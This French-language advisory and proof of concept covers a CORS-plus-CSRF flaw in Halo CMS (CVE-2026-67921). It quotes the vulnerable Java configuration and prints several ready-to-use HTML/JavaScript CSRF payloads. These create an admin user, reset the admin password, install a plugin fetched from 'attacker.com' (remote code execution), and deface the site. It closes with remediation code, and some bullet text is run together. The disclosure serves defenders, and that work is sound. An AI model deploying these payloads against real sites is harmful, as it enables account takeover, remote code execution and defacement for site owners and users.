
Preuve de concept démontrant une combinaison de mauvaise configuration CORS et de contournement de la protection CSRF dans Halo CMS, permettant des attaques de falsification de requête intersite pour créer des utilisateurs administrateurs, modifier des mots de passe, installer des plugins et altérer le contenu.
Une vulnérabilité critique d'attaque combinée existe dans les versions de Halo CMS jusqu'à la 2.25.4 en raison de deux mauvaises configurations de sécurité :
* (toute origine) avec credentials: true/api/**, /apis/**) sont exclus de la protection CSRFCombinées, ces failles permettent à un attaquant d'effectuer des attaques de type Cross-Site Request Forgery depuis n'importe quelle origine, contournant ainsi la protection Same-Origin Policy que CORS est censé appliquer.
Score CVSS v3.1 : 9,3 (Critique)
Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE-352 (Cross-Site Request Forgery) + CWE-942 (Politique inter-domaines permissive)
CVE-2026-67921
Fichier : application/src/main/java/run/halo/app/security/CorsConfigurer.java
CorsConfigurationSource apiCorsConfigSource() {
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*")); // ← Toute origine
configuration.setAllowCredentials(true); // ← Autoriser les cookies
configuration.setAllowedHeaders(List.of(
HttpHeaders.AUTHORIZATION,
HttpHeaders.CONTENT_TYPE,
HttpHeaders.ACCEPT,
"X-XSRF-TOKEN",
HttpHeaders.COOKIE));
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
Impact : N'importe quel site web peut envoyer des requêtes authentifiées à l'API de Halo avec les cookies de l'utilisateur.
Fichier : application/src/main/java/run/halo/app/security/CsrfConfigurer.java
@Override
public void configure(ServerHttpSecurity http) {
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(
pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
// ← Routes API exclues du CSRF !
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
.requireCsrfProtectionMatcher(csrfMatcher));
}
Impact : Les requêtes API ne nécessitent pas de jetons CSRF, même lorsqu'elles sont authentifiées via des cookies de session.
| Protection | Seule | Combinée |
|---|---|---|
CORS * | Bloque les identifiants (imposé par le navigateur) | Identifiants autorisés ! |
| Pas de CSRF | Protégé par la Same-Origin Policy | Contourné par CORS ! |
| Résultat | Sûr | CSRF complet |
┌─────────────────────────────────────────────────────────────┐
│ L'attaquant héberge une page malveillante sur evil.com │
│ <form action="http://halo:8090/apis/..." method="POST"> │
│ <input name="..." value="..."> │
│ </form> │
│ <script>document.forms[0].submit()</script> │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Le navigateur de la victime visite evil.com │
│ → Le formulaire s'envoie automatiquement à l'API Halo │
│ → Le navigateur inclut automatiquement le cookie de session│
│ → CORS : Origine * + credentials: true → Requête autorisée !│
│ → CSRF : /apis/** exclu → Aucun jeton requis ! │
│ → La requête aboutit avec les privilèges de la victime │
└─────────────────────────────────────────────────────────────┘
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
<input type="hidden" name="apiVersion" value="v1alpha1"/>
<input type="hidden" name="kind" value="User"/>
<input type="hidden" name="metadata.name" value="hacker"/>
<input type="hidden" name="spec.password" value="hacker123"/>
<input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
<input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>
<html>
<body>
<script>
// Changer le titre du site
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>
Créez csrf-test.html :
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Cette page tentera de modifier les paramètres de Halo lors de son chargement.</p>
<script>
// Test CSRF en modifiant le titre du site
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.onload = function() {
if (xhr.status === 200 || xhr.status === 204) {
document.body.innerHTML += '<p style="color:green">SUCCÈS ! L\'attaque CSRF a fonctionné.</p>';
} else {
document.body.innerHTML += '<p style="color:red">Échec : ' + xhr.status + '</p>';
}
};
xhr.send(JSON.stringify({
"site": {
"title": "Attaque CSRF réussie - " + new Date().toISOString()
}
}));
</script>
</body>
</html>
csrf-test.html dans un navigateur tout en étant connecté à HaloAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
| Attaque | Impact | Sévérité |
|---|---|---|
| Créer un utilisateur admin | Compromission totale du système | Critique |
| Changer le mot de passe admin | Prise de contrôle du compte | Critique |
| Installer un plugin malveillant | Exécution de code à distance | Critique |
| Modifier le contenu | Défacement | Élevée |
| Supprimer des données | Perte de données | Élevée |
| Voler des données | Divulgation d'informations | Élevée |
// Remplacer le caractère générique par des origines spécifiques
configuration.setAllowedOriginPatterns(List.of(
"https://yourdomain.com",
"https://admin.yourdomain.com"
));
// Supprimer les exclusions API du matcher CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
Pour les points de terminaison API, privilégiez l'authentification par jeton Bearer plutôt que les cookies de session, qui ne sont pas vulnérables au CSRF.